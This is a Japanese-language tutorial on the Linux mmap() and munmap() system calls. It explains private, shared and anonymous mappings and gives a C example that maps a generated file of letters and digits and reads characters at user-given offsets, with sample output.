匿名マッピング-このマッピングは、ファイルにバッキングされずにプロセスの仮想メモリの領域をマッピングします。 内容はゼロに初期化されます。 このマッピングは、動的メモリ割り当て(malloc())に似ており、特定の割り当ての一部のmalloc()実装で使用されます。

1つのプロセスマッピングのメモリは、他のプロセスのマッピングと共有できます。 これは2つの方法で行うことができます-

  • 2つのプロセスがファイルの同じ領域をマップすると、それらは物理メモリの同じページを共有します。
  • 子プロセスが作成された場合、親のマッピングを継承し、これらのマッピングは親と同じ物理メモリのページを参照します。 子プロセスでデータが変更されると、子プロセス用に異なるページが作成されます。

2つ以上のプロセスが同じページを共有する場合、各プロセスは、マッピングタイプに応じて他のプロセスによって行われたページコンテンツの変更を確認できます。 マッピングの種類は、プライベートまたは共有のいずれかです-

プライベートマッピング(MAP_PRIVATE)-このマッピングの内容への変更は他のプロセスからは見えず、マッピングは基礎となるファイルに伝えられません。

共有マッピング(MAP_SHARED)-このマッピングの内容への変更は他のプロセスに表示され、マッピングは基礎となるファイルに伝えられます。

#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

上記のシステムコールは、成功するとマッピングの開始アドレスを返し、エラー時にはMAP_FAILEDを返します。

仮想アドレスaddrは、ユーザーが指定することも、カーネルがaddrをNULLとして渡すことにより生成することもできます。 示されたフィールド長には、バイト単位のマッピングのサイズが必要です。 フィールドprotは、PROT_NONE、PROT_READ、PROT_WRITE、PROT_EXECなどのメモリ保護値を示します。それぞれ、アクセス、読み取り、書き込み、または実行できない領域を意味します。 この値は、単一(PROT_NONE)にすることも、3つのフラグのいずれか(最後の3)とORすることもできます。 フィールドフラグは、マッピングタイプまたはMAP_PRIVATEまたはMAP_SHAREDを示します。 フィールド「fd」はマッピングするファイルを識別するファイル記述子を示し、フィールド「offset」はファイルの開始点を示します。ファイル全体をマッピングする必要がある場合、オフセットはゼロでなければなりません。

#include <sys/mman.h>

int munmap(void *addr, size_t length);

上記のシステムコールは、成功すると0を返し、エラー時には-1を返します。

システムコールmunmapは、すでにメモリマップされた領域のマッピング解除を実行します。 フィールドaddrはマッピングの開始アドレスを示し、長さはマッピング解除するマッピングのサイズをバイト単位で示します。 通常、マッピングとマッピング解除は、マッピングされた領域全体に対して行われます。 これを異なるものにする必要がある場合は、縮小するか、2つの部分にカットする必要があります。 addrにマッピングがない場合、この呼び出しは効果がなく、呼び出しは0(成功)を返します。

私たちは例を考えてみましょう-

  • ステップ1 *-以下に示すように、ファイルの英数字に書き込みます-
0 1 2 25 26 27 28 29 30 31 32 33 34 35 36 37 38 59 60 61
A B C Z 0 1 2 3 4 5 6 7 8 9 A b c x y z
  • ステップ2 *-mmap()システムコールを使用して、ファイルの内容をメモリにマップします。 これは、メモリにマップされた後に開始アドレスを返します。
  • ステップ3 *-高価なread()システムコールを読み取らないため、配列表記を使用してファイルの内容にアクセスします(ポインター表記でもアクセスできます)。 メモリマッピングを使用して、ユーザースペース、カーネルスペースバッファー、およびバッファーキャッシュ間での複数のコピーを避けます。
  • ステップ4 *-ユーザーが「-1」(アクセスの終了を示す)を入力するまで、ファイルの内容の読み取りを繰り返します。
  • ステップ5 *-クリーンアップアクティビティ、つまり、マップされたメモリ領域のマッピング解除(munmap())を実行し、ファイルを閉じてファイルを削除します。
/*Filename: mmap_test.c*/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();

int main() {
   struct stat mmapstat;
   char *data;
   int minbyteindex;
   int maxbyteindex;
   int offset;
   int fd;
   int unmapstatus;
   write_mmap_sample_data();
   if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
      perror("stat failure");
      return 1;
   }

   if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
      perror("open failure");
      return 1;
   }
   data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);

   if (data == (caddr_t)(-1)) {
      perror("mmap failure");
      return 1;
   }
   minbyteindex = 0;
   maxbyteindex = mmapstat.st_size - 1;

   do {
      printf("Enter -1 to quit or ");
      printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
      scanf("%d",&offset);
      if ( (offset >= 0) && (offset <= maxbyteindex) )
      printf("Received char at %d is %c\n", offset, data[offset]);
      else if (offset != -1)
      printf("Received invalid index %d\n", offset);
   } while (offset != -1);
   unmapstatus = munmap(data, mmapstat.st_size);

   if (unmapstatus == -1) {
      perror("munmap failure");
      return 1;
   }
   close(fd);
   system("rm -f MMAP_DATA.txt");
   return 0;
}

void write_mmap_sample_data() {
   int fd;
   char ch;
   struct stat textfilestat;
   fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
   if (fd == -1) {
      perror("File open error ");
      return;
   }
  //Write A to Z
   ch = 'A';

   while (ch <= 'Z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
  //Write 0 to 9
   ch = '0';

   while (ch <= '9') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
  //Write a to z
   ch = 'a';

   while (ch <= 'z') {
      write(fd, &ch, sizeof(ch));
      ch++;
   }
   close(fd);
   return;
}

出力

Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1